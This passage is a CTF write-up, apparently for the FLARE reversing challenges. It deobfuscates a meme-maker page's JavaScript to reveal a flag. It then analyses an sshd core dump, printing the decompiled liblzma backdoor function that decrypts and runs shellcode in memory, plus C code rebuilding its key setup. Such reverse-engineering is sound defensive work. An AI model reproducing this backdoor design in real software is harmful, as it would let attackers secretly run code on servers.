#remake, #meme-template {
font-family: cursive;
}
#meme-container {
position: relative;
width: 400px;
margin: 20px auto;
}
#meme-image {
width: 100%;
display: block;
}
.caption {
font-family: "Impact";
color: white;
text-shadow: -1px 0 black, 0 1px black, 1px 0 black, 0 -1px black;
font-size: 24px;
text-align: center;
position: absolute;
/* width: 80%; /* Adjust width as needed */
padding: 10px;
background-color: rgba(0, 0, 0, 0);
}
#caption1 { top: 10px; left: 50%; transform: translateX(-50%); }
#caption2 { bottom: 10px; left: 50%; transform: translateX(-50%); }
#caption2 { bottom: 10px; left: 50%; transform: translateX(-50%); }
</style>
</head>
<body>
<h1>FLARE Meme Maker 3000</h1>
<div id="controls">
<select id="meme-template">
<option value="doge1.png">Doge</option>
<option value="draw.jpg">Draw 25</option>
<option value="drake.jpg">Drake</option>
<option value="two_buttons.jpg">Two Buttons</option>
<option value="boy_friend0.jpg">Distracted Boyfriend</option>
<option value="success.jpg">Success</option>
<option value="disaster.jpg">Disaster</option>
<option value="aliens.jpg">Aliens</option>
</select>
<button id="remake">Remake</button>
</div>
<div id="meme-container">
<img id="meme-image" src="" alt="">
<div id="caption1" class="caption" contenteditable></div>
<div id="caption2" class="caption" contenteditable></div>
<div id="caption3" class="caption" contenteditable></div>
</div>
<script>
...lots of obfuscated JS...
</script>
</body>
</html>
In the browser, the HTML looks as below.
Analyzing the JS
Let’s start reverse engineering the JS. Only some of the JS is shown, since it’s quite large. I started by using this online tool to deobfuscate the JS, which yielded the following result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
const a0p = a0b;
(function(a, b) {
const o = a0b,
c = a();
while (true) {
try {
const d = parseInt(o(55277)) / 1 * (parseInt(o(14365)) / 2) + -parseInt(o(68223)) / 3 * (-parseInt(o(90066)) / 4) + parseInt(o(76024)) / 5 + -parseInt(o(73788)) / 6 + parseInt(o(58137)) / 7 * (parseInt(o(59039)) / 8) + -parseInt(o(97668)) / 9 + parseInt(o(26726)) / 10 * (-parseInt(o(11835)) / 11);
if (d === b) break;
else c.push(c.shift());
} catch (e) {
c.push(c.shift());
}
}
}(a0a, 356255));
const a0c = [...Array of concatenations of strings...],
a0d = {
doge1: [
[a0p(52718), a0p(47974)],
[a0p(52718), a0p(45164)]
],
boy_friend0: [
[a0p(52718), a0p(47974)],
[a0p(93893), "60%"],
[a0p(99225), a0p(99225)]
],
draw: [
["30%", a0p(24688)]
],
drake: [
[a0p(32560), a0p(52718)],
[a0p(13486), a0p(52718)]
],
two_buttons: [
[a0p(32560), a0p(3982)],
["2%", a0p(18173)]
],
success: [
[a0p(52718), a0p(86464)]
],
disaster: [
["5%", a0p(86464)]
],
aliens: [
["5%", "50%"]
]
},
a0e = {
...huge object...
};
function a0a() {
const u = [...huge array of strings...]
a0a = function() {
return u;
};
return a0a();
}
function a0f() {
const q = a0p;
document[q(52569) + "mentBy" + "Id"]("caption1")[q(3926)] = true, document[q(52569) + "mentBy" + "Id"](q(84859) + "n2")[q(3926)] = true, document[q(52569) + q(73335) + "Id"]("caption3").hidden = true;
const a = document[q(52569) + q(73335) + "Id"]("meme-template");
var b = a[q(15263)][q(95627)](".")[0];
a0d[b][q(8136) + "h"](function(c, d) {
const r = q;
var e = document["getEle" + r(73335) + "Id"](r(84859) + "n" + (d + 1));
e[r(3926)] = false, e.style[r(17269)] = a0d[b][d][0], e.style[r(88249)] = a0d[b][d][1], e[r(69466) + r(75179)] = a0c[Math[r(16279)](Math[r(28352)]() * (a0c[r(87117)] - 1))];
});
}
a0f();
function a0b(a, b) {
const c = a0a();
return a0b = function(d, e) {
d = d - 475;
let f = c[d];
return f;
}, a0b(a, b);
}
const a0g = document[a0p(52569) + a0p(73335) + "Id"](a0p(7063) + a0p(61697)),
a0h = document[a0p(52569) + a0p(73335) + "Id"](a0p(69287) + a0p(50870) + "er"),
a0i = document[a0p(52569) + "mentBy" + "Id"](a0p(64291)),
a0j = document[a0p(52569) + "mentBy" + "Id"](a0p(67415) + a0p(95610) + "e");
a0g[a0p(98091)] = a0e[a0j.value], a0j[a0p(51076) + a0p(95090) + "ener"](a0p(18165), () => {
const s = a0p;
a0g[s(98091)] = a0e[a0j[s(15263)]], a0g[s(2589)] = a0j[s(15263)], a0f();
}), a0i[a0p(51076) + "ntList" + "ener"]("click", () => {
a0f();
});
function a0k() {
const t = a0p,
a = a0g[t(2589)].split("/")[t(2024)]();
if (a !== Object[t(22981)](a0e)[5]) return;
const b = a0l.textContent,
c = a0m[t(69466) + t(75179)],
d = a0n.textContent;
if (a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22) {
var e = (new Date)[t(67914) + "e"]();
while ((new Date)[t(67914) + "e"]() < e + 3e3) {}
var f = d[3] + "h" + a[10] + b[2] + a[3] + c[5] + c[c[t(87117)] - 1] + "5" + a[3] + "4" + a[3] + c[2] + c[4] + c[3] + "3" + d[2] + a[3] + "j4" + a0c[1][2] + d[4] + "5" + c[2] + d[5] + "1" + c[11] + "7" + a0c[21][1] + b[t(89657) + "e"](" ", "-") + a[11] + a0c[4][t(39554) + t(91499)](12, 15);
f = f[t(82940) + t(35943)](), alert(atob(t(85547) + t(19490) + "YXRpb2" + t(94350) + t(43672) + t(91799) + t(68036)) + f);
}
}
const a0l = document[a0p(52569) + a0p(73335) + "Id"]("caption1"),
a0m = document[a0p(52569) + a0p(73335) + "Id"](a0p(84859) + "n2"),
a0n = document.getElementById(a0p(84859) + "n3");
a0l["addEve" + a0p(95090) + "ener"]("keyup", () => {
a0k();
}), a0m[a0p(51076) + a0p(95090) + a0p(97839)](a0p(46837), () => {
a0k();
}), a0n[a0p(51076) + a0p(95090) + a0p(97839)](a0p(46837), () => {
a0k();
});
The a0c
and a0e
variables are a very large array and object, respectively, so let’s inspect them in the Chrome debugger:
The a0c
array contains the various captions for the memes (e.g. we can see the string “If it ain’t broke, break it” from earlier). a0e
contains the actual images. The fish.jpg
string seems interesting (after all it has a MIME type of binary/red
, and this is a reversing CTF :) ), but like the name suggests (fish + red = Red Herring), it’s not interesting. Let’s keep on reversing. If we look at the code more closely, we see a call to alert
, which is interesting, since so far we haven’t seen this function used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function a0k() {
const t = a0p,
a = a0g[t(2589)].split("/")[t(2024)]();
if (a !== Object[t(22981)](a0e)[5]) return;
const b = a0l.textContent,
c = a0m[t(69466) + t(75179)],
d = a0n.textContent;
if (a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22) {
var e = (new Date)[t(67914) + "e"]();
while ((new Date)[t(67914) + "e"]() < e + 3e3) {}
var f = d[3] + "h" + a[10] + b[2] + a[3] + c[5] + c[c[t(87117)] - 1] + "5" + a[3] + "4" + a[3] + c[2] + c[4] + c[3] + "3" + d[2] + a[3] + "j4" + a0c[1][2] + d[4] + "5" + c[2] + d[5] + "1" + c[11] + "7" + a0c[21][1] + b[t(89657) + "e"](" ", "-") + a[11] + a0c[4][t(39554) + t(91499)](12, 15);
f = f[t(82940) + t(35943)](), alert(atob(t(85547) + t(19490) + "YXRpb2" + t(94350) + t(43672) + t(91799) + t(68036)) + f);
}
}
The alert
function is only called if the condition inside the if statement, a0c[t(77091) + "f"](b) == 14 && a0c[t(77091) + "f"](c) == a0c[t(87117)] - 1 && a0c[t(77091) + "f"](d) == 22
, is true. Note that we also have another if statement before this statement, if (a !== Object[t(22981)](a0e)[5]) return;
that may return from the function prematurely. If we set a breakpoint at the condition, it isn’t triggered, so let’s look at the code that calls a0k
:
1
2
3
4
5
6
7
8
9
10
11
12
const a0l = document[a0p(0xcd59) + a0p(0x11e77) + 'Id']('captio' + 'n1')
, a0m = document[a0p(0xcd59) + a0p(0x11e77) + 'Id'](a0p(0x14b7b) + 'n2')
, a0n = document['getEle' + 'mentBy' + 'Id'](a0p(0x14b7b) + 'n3');
a0l['addEve' + a0p(0x17372) + 'ener']('keyup', () => {
a0k();
}),
a0m[a0p(0xc784) + a0p(0x17372) + a0p(0x17e2f)](a0p(0xb6f5), () => {
a0k();
}),
a0n[a0p(0xc784) + a0p(0x17372) + a0p(0x17e2f)](a0p(0xb6f5), () => {
a0k();
}
Inspecting a0l
, a0m
, and a0n
, we see that they are the first, second, and third captions for the meme, respectively (a0n
doesn’t have any text since the above meme only has two captions):
Evaluating the obfuscated calls to a0p
yields:
1
2
3
4
5
6
7
8
9
a0l['addEventListener']('keyup', () => {
a0k();
}),
a0m['addEventListener']('keyup', () => {
a0k();
}),
a0n['addEventListener']('keyup', () => {
a0k();
}
Huh… so a0k
is called whenever the keyup
event is triggered on either of the meme captions. If we press a key on one of the captions, our breakpoint inside a0k
gets triggered, and we can examine the first condition:
1
2
if (a !== Object[t(0x59c5)](a0e)[0x5])
return;
Currently, the function will return since the condition is false. Guessing from the boy_friend0.jpg
string, the meme picture probably needs to be the Distracted Boyfriend meme:
Now, the first condition is true, and so we continue to the second condition:
1
if (a0c[t(0x12d23) + 'f'](b) == 0xe && a0c[t(0x12d23) + 'f'](c) == a0c[t(0x1544d)] - 0x1 && a0c[t(0x12d23) + 'f'](d) == 0x16)
Inspecting the relevant variables:
Removing the obfuscated calls:
1
if (a0c["indexOf"](b) == 0xe && a0c["indexOf"](c) == a0c[t(0x1544d)] - 0x1 && a0c["indexOf"](d) == 0x16)
The b
, c
, and d
variables are the current captions. The indices of b
, c
, and d
in the captions array are compared with constant indices, indicating that they need to be equal to some constant captions:
Let’s replace our current captions with the expected ones:
And we got the flag (and a nice meme :) )!
This one was also a very nice challenge; At first the large amount of obfuscated JS looked very intimidating, though reversing it didn’t turn out to be too bad. I also got a bit stuck on the Red Herring binary (figuring out the Red Herring hint took me a bit of time :) )
Challenge 5 - sshd
Description:
1
Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.
What should we analyze?
As the description suggests, we are given all of the files from a Linux system:
1
2
bin boot etc home lib64 mnt root sbin sys var
dev fmnt lib media opt proc run srv tmp usr
It isn’t immediately obvious what we need to do. Besides the name of the challenge, we aren’t given much info, so let’s try searching for files whose names contain sshd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(.venv) ➜ sshd find | grep sshd
./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
./var/lib/systemd/deb-systemd-helper-enabled/sshd.service
./var/lib/ucf/cache/:etc:ssh:sshd_config
./sshd.7z
./etc/pam.d/sshd
./etc/ssh/sshd_config
./etc/ssh/sshd_config.d
./etc/systemd/system/sshd.service
./usr/share/vim/vim90/syntax/sshdconfig.vim
./usr/share/openssh/sshd_config.md5sum
./usr/share/openssh/sshd_config
./usr/share/man/man5/sshd_config.5.gz
./usr/share/man/man8/sshd.8.gz
./usr/sbin/sshd
./run/sshd
The first file - a core dump from the SSH daemon - seems like a good place to conduct our analysis. Core dumps are files that contain the state of a program’s memory and registers at the time of a crash. To open the coredump in gdb, we use the following command:
1
gdb -q ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
Once inside gdb, we run set sysroot ./
to tell gdb that the root of the system is in the current directory, allowing it to load all of the necessary libraries used by the binary. The state of the registers is shown below at the time of the crash is shown below:
Hmm… what’s this about RSA_public_decrypt
? Keep this in mind, since it will come up later. When analyzing a core dump, a good starting point is to look at the backtrace of the program, showing all function calls that led to the current point:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#0 0x0000000000000000 in ?? ()
#1 0x00007f4a18c8f88f in ?? () from ./lib/x86_64-linux-gnu/liblzma.so.5
#2 0x000055b46c7867c0 in ?? ()
#3 0x000055b46c73f9d7 in ?? ()
#4 0x000055b46c73ff80 in ?? ()
#5 0x000055b46c71376b in ?? ()
#6 0x000055b46c715f36 in ?? ()
#7 0x000055b46c7199e0 in ?? ()
#8 0x000055b46c6ec10c in ?? ()
#9 0x00007f4a18e5824a in __libc_start_call_main (main=main@entry=0x55b46c6e7d50, argc=argc@entry=4, argv=argv@entry=0x7ffcc6602eb8)
at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4, argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8) at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()
We’ll start with analyzing frame #1, the frame right before the current one. Note that this frame is located inside the liblzma
library. To jump to frame 1, we run the command frame 1
. Let’s inspect some of the instructions before the current one:
1
2
3
4
5
6
7
8
9
10
0x7f4a18c8f87f: mov eax,ebx
0x7f4a18c8f881: mov rcx,r14
0x7f4a18c8f884: mov rdx,r13
0x7f4a18c8f887: mov rsi,rbp
0x7f4a18c8f88a: mov edi,r12d
0x7f4a18c8f88d: call rax
=> 0x7f4a18c8f88f: mov rbx,QWORD PTR [rsp+0xe8]
0x7f4a18c8f897: xor rbx,QWORD PTR fs:0x28
0x7f4a18c8f8a0: jne 0x7f4a18c8f975
0x7f4a18c8f8a6: add rsp,0xf8
The suspicious instruction is the one right before the current instruction pointer: call rax
. Inspecting the value of rax
, we can see exactly why the program crashed:
1
2
3
pwndbg> p/x $rax
$1 = 0x0
The function attempted to call a NULL pointer, which, of course, resulted in a segfault. To better understand why this was done, let’s find the guilty function in Ghidra and decompile it.
A backdoor? In liblzma?
We’ll open liblzma
in Ghidra (the library is located in the path ./lib/x86_64-linux-gnu/liblzma.so.5
), and then search for the bytes around the instruction pointer in frame 1 using the Search tool in Ghidra:
1
2
3
4
5
pwndbg> x/5wx $pc
0x7f4a18c8f88f: 0x249c8b48 0x000000e8 0x1c334864 0x00002825
0x7f4a18c8f89f: 0xcf850f00
The only result we get is located inside the following function, which I renamed stack_frame_1
for clarity (some of the variables and functions are also renamed):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void stack_frame_1(undefined4 param_1,int *param_2,undefined8 param_3,undefined8 param_4,
undefined4 param_5)
{
__uid_t uid;
code *func_ptr;
void *__dest;
char *func_name;
long in_FS_OFFSET;
byte decryption_key [200];
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
uid = getuid();
func_name = "RSA_public_decrypt";
if (uid == 0) {
if (*param_2 == -0x3abf85b8) {
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);
__dest = mmap((void *)0x0,(long)shellcode_size,7,0x22,-1,0);
func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);
(*func_ptr)();
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);
}
func_name = "RSA_public_decrypt ";
}
func_ptr = (code *)dlsym(0,func_name);
(*func_ptr)(param_1,param_2,param_3,param_4,param_5);
if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
__stack_chk_fail();
}
Now the reason for the crash is more clear. The function checks whether the uid of the current user is 0 (i.e. the user is root). In case they are, it modifies the func_name
variable from RSA_public_decrypt
to RSA_public_decrypt
(note the extra space at the end). After the if
statement, func_name
is dlsym’d to dynamically resolve its address, and the returned address is called with some parameters. In our case, the binary ran as root, so we did go into the if statement. There’s no such symbol as RSA_public_decrypt
inside the current binary, so the NULL pointer was called. This also explains the undefined symbol: RSA_public_decrypt
string we saw inside the register r9 in stack frame #0. Inside the if statement, we see that if param_2 is equal to a certain constant (-0x3abf85b8), the following code is executed:
1
2
3
4
5
6
7
8
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);
// shellcode and shellcode_size are constants in the data section
__dest = mmap((void *)0x0,(long)shellcode_size,7,0x22,-1,0);
func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);
(*func_ptr)();
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);
This code executes an encrypted shellcode as follows:
Decrypt the shellcode (which is stored in the data section) using an unknown algorithm (for now)
Execute it by copying it into a RWX mmap()ed page
- Decrypt the shellcode again, so that reverse engineers won’t be able to see the decrypted shellcode in memory. At first glance, decrypting the shellcode again may seem strange, but in most stream ciphers (e.g. ChaCha20), encryption is the same as decryption (since in these ciphers, to encrypt a plaintext we XOR it with the keystream, and XOR is its own inverse) By the way, if all of this reminds you of a certain supply-chain attack related on SSH, you’re not wrong! This challenge is based on that backdoor.
Decrypting the shellcode
Our next step should be decrypting the shellcode. To do this, we’ll need to do three things:
Extract the encrypted shellcode from memory
Find the key used to encrypt the shellcode
- Reconstruct the encryption/decryption algorithm in C
Finding the key
We’ll begin with the second step. Here’s the decompiled code for
setup_decryption_key
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)
{
undefined4 uVar1;
undefined4 uVar2;
undefined4 uVar3;
int in_register_0000000c;
ulong uVar4;
undefined8 *puVar5;
*(undefined8 *)decryption_key = 0;
*(undefined8 *)(decryption_key + 0xb8) = 0;
puVar5 = (undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8);
for (uVar4 = (ulong)(((int)decryption_key -
(int)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +
0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {
*puVar5 = 0;
puVar5 = puVar5 + 1;
}
uVar1 = *(undefined4 *)(param_2 + 4);
uVar2 = *(undefined4 *)(param_2 + 8);
uVar3 = *(undefined4 *)(param_2 + 0xc);
*(undefined4 *)(decryption_key + 0x48) = *(undefined4 *)param_2;
*(undefined4 *)(decryption_key + 0x4c) = uVar1;
*(undefined4 *)(decryption_key + 0x50) = uVar2;
*(undefined4 *)(decryption_key + 0x54) = uVar3;
uVar1 = *(undefined4 *)(param_2 + 0x14);
uVar2 = *(undefined4 *)(param_2 + 0x18);
uVar3 = *(undefined4 *)(param_2 + 0x1c);
*(undefined4 *)(decryption_key + 0x58) = *(undefined4 *)(param_2 + 0x10);
*(undefined4 *)(decryption_key + 0x5c) = uVar1;
*(undefined4 *)(decryption_key + 0x60) = uVar2;
*(undefined4 *)(decryption_key + 100) = uVar3;
*(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;
uVar1 = *(undefined4 *)(param_3 + 8);
*(undefined8 *)(decryption_key + 0x80) = 0x3320646e61707865;
*(undefined4 *)(decryption_key + 0x70) = uVar1;
*(undefined8 *)(decryption_key + 0x88) = 0x6b20657479622d32;
*(undefined4 *)(decryption_key + 0x90) = *(undefined4 *)param_2;
*(undefined4 *)(decryption_key + 0x94) = *(undefined4 *)(param_2 + 4);
*(undefined4 *)(decryption_key + 0x98) = *(undefined4 *)(param_2 + 8);
*(undefined4 *)(decryption_key + 0x9c) = *(undefined4 *)(param_2 + 0xc);
*(undefined4 *)(decryption_key + 0xa0) = *(undefined4 *)(param_2 + 0x10);
*(undefined4 *)(decryption_key + 0xa4) = *(undefined4 *)(param_2 + 0x14);
*(undefined4 *)(decryption_key + 0xa8) = *(undefined4 *)(param_2 + 0x18);
uVar1 = *(undefined4 *)(param_2 + 0x1c);
*(undefined4 *)(decryption_key + 0xb0) = 0;
*(undefined4 *)(decryption_key + 0xac) = uVar1;
*(undefined4 *)(decryption_key + 0xb4) = *(undefined4 *)param_3;
*(undefined4 *)(decryption_key + 0xb8) = *(undefined4 *)(param_3 + 4);
*(undefined4 *)(decryption_key + 0xbc) = *(undefined4 *)(param_3 + 8);
*(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;
uVar1 = *(undefined4 *)(param_3 + 8);
*(int *)(decryption_key + 0xb0) = zero;
*(undefined4 *)(decryption_key + 0x70) = uVar1;
*(int *)(decryption_key + 0xb4) = in_register_0000000c + *(int *)(decryption_key + 0x68);
*(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero);
*(undefined8 *)(decryption_key + 0x40) = 0x40;
return;
}
This looks a bit complicated, but the actual code of this function doesn’t really matter; we can simply copy it (with some slight changes) into a new C program and run it. To do this, we’ll need to figure out the values of the arguments this function is called with. Recall that setup_decryption_key
is called as follows:
1
setup_decryption_key((char *)decryption_key,(char *)(param_2 + 1),(char *)(param_2 + 9),0);
The decryption_key
variable is the output variable. param_2
is a pointer passed to stack_frame_1
, so we need to find its value. Inspecting the assembly around the call to setup_decryption_key
, we see that param_2
is stored in RBP
(because of the first couple of instructions, which set up the second and third argument to the function):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
LAB_001098c0 XREF[1]: 0010986e(j)
001098c0 4c 8d 5d 24 LEA R11,[RBP + 0x24]
001098c4 4c 8d 55 04 LEA R10,[RBP + 0x4]
001098c8 31 c9 XOR ECX,ECX
001098ca 4c 8d 7c LEA R15=>decryption_key,[RSP + 0x20]
24 20
001098cf 4c 89 da MOV RDX,R11
001098d2 4c 89 d6 MOV func_name,R10
001098d5 4c 89 5c MOV qword ptr [RSP + local_110],R11
24 18
001098da 4c 89 ff MOV RDI,R15
001098dd 4c 89 54 MOV qword ptr [RSP + local_118],R10
24 10
param_2 = 0xc5407a48
001098e2 e8 09 fb CALL setup_decryption_key undefined setup_decryption_key(c
ff ff
The value of RBP
isn’t changed later in the function, so it should still have the value of param_2
. We can use this fact to dump the contents of param_2
using gdb (I dumped 0x1000 bytes, just to be on the safe side):
1
dump binary memory param_2_dump.bin $rbp $rbp+0x1000
The contents of param_2
will now be saved under the file param_2.bin
. We can now run the decompiled code (with some slight modifications) of setup_decryption_key
with the arguments it was called with in the core dump. This is done with the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#define KEY_SIZE (200)
#define SHELLCODE_SIZE (0xf96)
#define PARAM_2_SIZE (0x1000)
typedef unsigned int uint;
typedef unsigned int undefined4;
typedef unsigned long ulong;
typedef unsigned long undefined8;
typedef char byte;
char key[KEY_SIZE];
char shellcode[SHELLCODE_SIZE];
char param_2[PARAM_2_SIZE];
void read_param_2() {
FILE *fp = fopen("./data/param_2_dump.bin", "rb");
fread(param_2, PARAM_2_SIZE, 1, fp);
fclose(fp);
}
void dump_key() {
FILE *fp = fopen("./key", "wb");
fwrite(key, KEY_SIZE, 1, fp);
fclose(fp);
}
// Copied from Ghidra
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)
{
undefined4 uVar1;
undefined4 uVar2;
undefined4 uVar3;
int in_register_0000000c = 0;
ulong uVar4;
undefined8 *puVar5;
*(undefined8 *)decryption_key = 0;
*(undefined8 *)(decryption_key + 0xb8) = 0;
puVar5 = (undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8);
//for (uVar4 = (ulong)(((uint)decryption_key -
// (uint)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +
// 0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {
// *puVar5 = 0;
// puVar5 = puVar5 + 1;
//}
memset(decryption_key, 0, 8);
uVar1 = *(undefined4 *)(param_2 + 4);
uVar2 = *(undefined4 *)(param_2 + 8);
uVar3 = *(undefined4 *)(param_2 + 0xc);
*(undefined4 *)(decryption_key + 0x48) = *(undefined4 *)param_2;
*(undefined4 *)(decryption_key + 0x4c) = uVar1;
*(undefined4 *)(decryption_key + 0x50) = uVar2;
*(undefined4 *)(decryption_key + 0x54) = uVar3;
uVar1 = *(undefined4 *)(param_2 + 0x14);
uVar2 = *(undefined4 *)(param_2 + 0x18);
uVar3 = *(undefined4 *)(param_2 + 0x1c);
*(undefined4 *)(decryption_key + 0x58) = *(undefined4 *)(param_2 + 0x10);
*(undefined4 *)(decryption_key + 0x5c) = uVar1;
*(undefined4 *)(decryption_key + 0x60) = uVar2;
*(undefined4 *)(decryption_key + 100) = uVar3;
*(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;
uVar1 = *(undefined4 *)(param_3 + 8);
*(undefined8 *)(decryption_key + 0x80) = 0x3320646e61707865;
*(undefined4 *)(decryption_key + 0x70) = uVar1;
*(undefined8 *)(decryption_key + 0x88) = 0x6b20657479622d32;
*(undefined4 *)(decryption_key + 0x90) = *(undefined4 *)param_2;
*(undefined4 *)(decryption_key + 0x94) = *(undefined4 *)(param_2 + 4);
*(undefined4 *)(decryption_key + 0x98) = *(undefined4 *)(param_2 + 8);
*(undefined4 *)(decryption_key + 0x9c) = *(undefined4 *)(param_2 + 0xc);
*(undefined4 *)(decryption_key + 0xa0) = *(undefined4 *)(param_2 + 0x10);
*(undefined4 *)(decryption_key + 0xa4) = *(undefined4 *)(param_2 + 0x14);
*(undefined4 *)(decryption_key + 0xa8) = *(undefined4 *)(param_2 + 0x18);
uVar1 = *(undefined4 *)(param_2 + 0x1c);
*(undefined4 *)(decryption_key + 0xb0) = 0;
*(undefined4 *)(decryption_key + 0xac) = uVar1;
*(undefined4 *)(decryption_key + 0xb4) = *(undefined4 *)param_3;
*(undefined4 *)(decryption_key + 0xb8) = *(undefined4 *)(param_3 + 4);
*(undefined4 *)(decryption_key + 0xbc) = *(undefined4 *)(param_3 + 8);
*(undefined8 *)(decryption_key + 0x68) = *(undefined8 *)param_3;
uVar1 = *(undefined4 *)(param_3 + 8);
*(int *)(decryption_key + 0xb0) = zero;
*(undefined4 *)(decryption_key + 0x70) = uVar1;
*(int *)(decryption_key + 0xb4) = in_register_0000000c + *(int *)(decryption_key + 0x68);
//*(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero);
*(undefined8 *)(decryption_key + 0x40) = 0x40;
return;
}
int main() {
memset(key, 0, KEY_SIZE);
read_param_2();
puts("Setting up decryption key...\n");
setup_decryption_key((char *)key, param_2 + 0x4, param_2 + 0x24, 0);
dump_key();
return 0;
}
The parts of setup_decryption_key
that I modified are:
Setting
in_register_0000000c
to 0Commenting out this loop, which is simply a memzero, and causes an error:
1
2
3
4
5
6
for (uVar4 = (ulong)(((uint)decryption_key -
(uint)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +
0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {
*puVar5 = 0;
puVar5 = puVar5 + 1;
}
- Commenting out the line
*(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero);
, since it doesn’t do anything interesting Compiling and running this code dumps the key into the filekey
:
Dumping the encrypted shellcode
Nice! Now that we have the key, we need to find the encrypted shellcode. The decrypt_shellcode
function is called in the following context:
1
2
func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);
Or, in assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
00109908 48 63 15 MOVSXD RDX,dword ptr [shellcode_size] = 00000F96h
51 8a 02 00
0010990f 48 8d 35 LEA func_name,[shellcode] = 0Fh
4a a0 01 00
00109916 48 89 c7 MOV RDI,func_ptr
00109919 e8 c2 b0 CALL libc.so.6::memcpy void * memcpy(void * __dest, voi
ff ff
0010991e 48 63 15 MOVSXD RDX,dword ptr [shellcode_size] = 00000F96h
3b 8a 02 00
00109925 4c 89 ff MOV RDI,R15
00109928 48 89 c6 MOV func_name,func_ptr
0010992b 48 89 44 MOV qword ptr [RSP + local_120],func_ptr
24 08
00109930 e8 eb fb CALL decrypt_shellcode undefined decrypt_shellcode(byte
ff ff
A pointer to the encrypted shellcode buffer is loaded into func_name
(rsi) before the memcpy
, allowing us to get the encrypted shellcode. In gdb, the instructions before the memcpy
are as below:
1
2
3
4
0x7f4a18c8f908: movsxd rdx,DWORD PTR [rip+0x28a51] # 0x7f4a18cb8360
0x7f4a18c8f90f: lea rsi,[rip+0x1a04a] # 0x7f4a18ca9960
0x7f4a18c8f916: mov rdi,rax
0x7f4a18c8f919: call 0x7f4a18c8a9e0 <memcpy@plt>
If we inspect the address that is loaded into rsi
, we see the encrypted shellcode:
1
2
3
4
5
6
pwndbg> x/wx 0x7f4a18ca9960
0x7f4a18ca9960: 0x4e35b00f
pwndbg>
0x7f4a18ca9964: 0xe550fd81
pwndbg>
0x7f4a18ca9968: 0x1b6bbf04
As before, we’ll dump the shellcode, which is 0xf96
bytes long, using the dump
command:
1
dump binary memory shellcode.bin 0x7f4a18ca9960 0x7f4a18ca9960 + 0xf96
Reconstructing the algorithm
